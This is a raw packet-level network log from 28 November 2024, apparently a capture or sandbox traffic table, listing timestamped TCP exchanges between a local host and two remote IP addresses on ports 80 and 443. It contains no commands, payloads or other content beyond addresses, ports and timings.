Nov 28, 2024 15:17:17.941185951 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.941246033 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.941250086 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.941287994 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.942260027 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.942302942 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.942321062 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.942361116 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.943357944 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.943403959 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.943432093 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.943465948 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.944614887 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.944627047 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.944662094 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.945640087 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.945652008 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.945689917 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.946620941 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.946665049 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.946784019 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.946820974 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.947669029 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.947712898 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.947805882 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.947850943 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.948836088 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.948919058 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.948967934 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.949023008 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.949896097 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.949939966 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.950023890 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.950093031 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.950958014 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.951000929 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.951016903 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.951056004 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.952097893 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.952172041 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.952220917 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.953157902 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.953202963 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.953249931 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.953294039 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.954237938 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.954281092 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.999552965 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.999609947 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.999707937 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.999752998 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.000368118 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.000441074 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.000590086 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.000642061 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.001802921 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.001842976 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.001913071 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.002032042 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.002753019 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.002830029 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.002940893 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.003063917 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.003104925 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.003741980 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.003791094 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.003798962 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.003827095 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.004776955 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.004821062 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.004868984 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.004925966 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.005891085 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.005932093 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.005942106 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.005968094 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.007016897 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.007062912 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.007107973 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.007153034 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.008086920 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.008132935 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.008210897 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.008322954 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.009166956 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.009212017 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.009314060 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.009392023 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.010243893 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.010291100 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.010401011 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.010539055 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.011333942 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.011379957 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.011421919 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.011460066 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.012466908 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.012533903 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.012564898 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.012610912 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.013528109 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.013573885 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.013597965 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.013638973 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.014645100 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.014695883 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.014730930 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.014767885 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.015686035 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.015729904 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.015785933 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.016076088 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.016757965 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.017076015 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.072623014 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.072640896 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.072712898 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.073040962 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.073199034 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.073311090 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.074480057 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.074532032 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.074562073 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.074760914 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.075166941 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.075270891 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.075298071 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.075386047 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.076201916 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.076314926 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.076339006 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.076426983 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.077296019 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.077344894 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.077361107 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.077611923 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.078331947 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.078380108 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.078407049 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.079420090 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.079585075 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.079605103 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.080112934 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.080559969 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.080682039 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.080970049 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.081671000 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.081758022 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.081787109 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.081861973 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.082734108 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.082845926 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.082873106 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.082974911 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.083898067 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.083909988 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.083962917 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.083962917 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.084872007 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.084996939 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.085022926 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.085038900 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.085966110 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.086078882 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.086132050 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.086216927 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.234503031 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.234766006 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.234831095 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.234955072 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.235069990 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.235097885 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.235513926 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.235789061 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.235933065 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.235940933 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.236015081 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.236890078 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.237086058 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.237118959 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.237236977 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.237997055 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.238102913 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.238135099 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.238267899 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.239140034 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.239269972 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.239285946 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.239343882 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.240147114 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.240242958 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.240268946 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.240329027 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.241254091 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.241302013 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.241364002 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.241523027 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.242356062 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.242428064 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.242451906 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.242547989 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.243520975 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.243594885 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.243628025 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.243725061 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.244577885 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.244708061 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.244733095 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.244822025 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.245635033 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.245769024 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.245793104 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.245872021 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.246679068 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.246762991 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.246784925 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.246886015 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.247764111 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.247862101 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.247891903 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.247993946 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.248867989 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.248960018 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.248986959 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.249033928 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.250040054 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.250149965 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.250197887 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.250277042 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.251082897 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.251182079 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.251306057 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.252134085 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.252419949 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.252543926 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.253221035 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.253340960 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.253401041 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.253401041 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.254306078 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.254400969 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.254410982 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.254503012 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.255398035 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.255601883 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.255753994 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.256489038 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.256601095 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.256625891 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.257574081 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.257642031 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.257667065 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.257720947 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.258685112 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.258791924 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.318409920 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.318514109 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.318650007 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.318775892 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.318880081 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.318954945 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.319113970 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.319974899 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.320066929 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.320075989 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.320265055 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.321058035 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.321142912 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.321170092 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.321266890 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.322196960 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.322279930 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.322341919 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.322393894 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.323250055 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.323331118 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.323384047 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.323470116 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.324341059 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.324429989 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.324469090 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.324521065 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.325412989 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.325474024 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.325495005 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.325562000 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.326524973 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.326678991 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.326777935 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.326777935 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.327605009 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.327702999 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.327727079 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.327874899 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.328701019 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.328759909 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:18.328788042 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:18.329197884 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:19.034317970 CET	443	49723	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.083062887 CET	49723	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.155075073 CET	49723	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.155133009 CET	443	49723	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.155955076 CET	49723	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.155971050 CET	443	49723	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.305926085 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.319997072 CET	443	49724	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.356949091 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.356981993 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.364415884 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.364439964 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.368040085 CET	49724	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.368057013 CET	443	49724	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.372945070 CET	49724	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.372952938 CET	443	49724	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.447477102 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.472070932 CET	443	49723	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.472136021 CET	443	49723	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.472187042 CET	49723	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.486377954 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.495367050 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.495381117 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.496469975 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.496474981 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.530036926 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.577167034 CET	49723	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.577229977 CET	443	49723	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.577276945 CET	49723	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.577296019 CET	443	49723	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.581290007 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.581296921 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.581724882 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.581731081 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.740922928 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.740994930 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.741043091 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.772839069 CET	443	49724	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.772897959 CET	443	49724	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.772945881 CET	49724	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.812885046 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.812915087 CET	443	49726	13.107.246.63	192.168.2.6
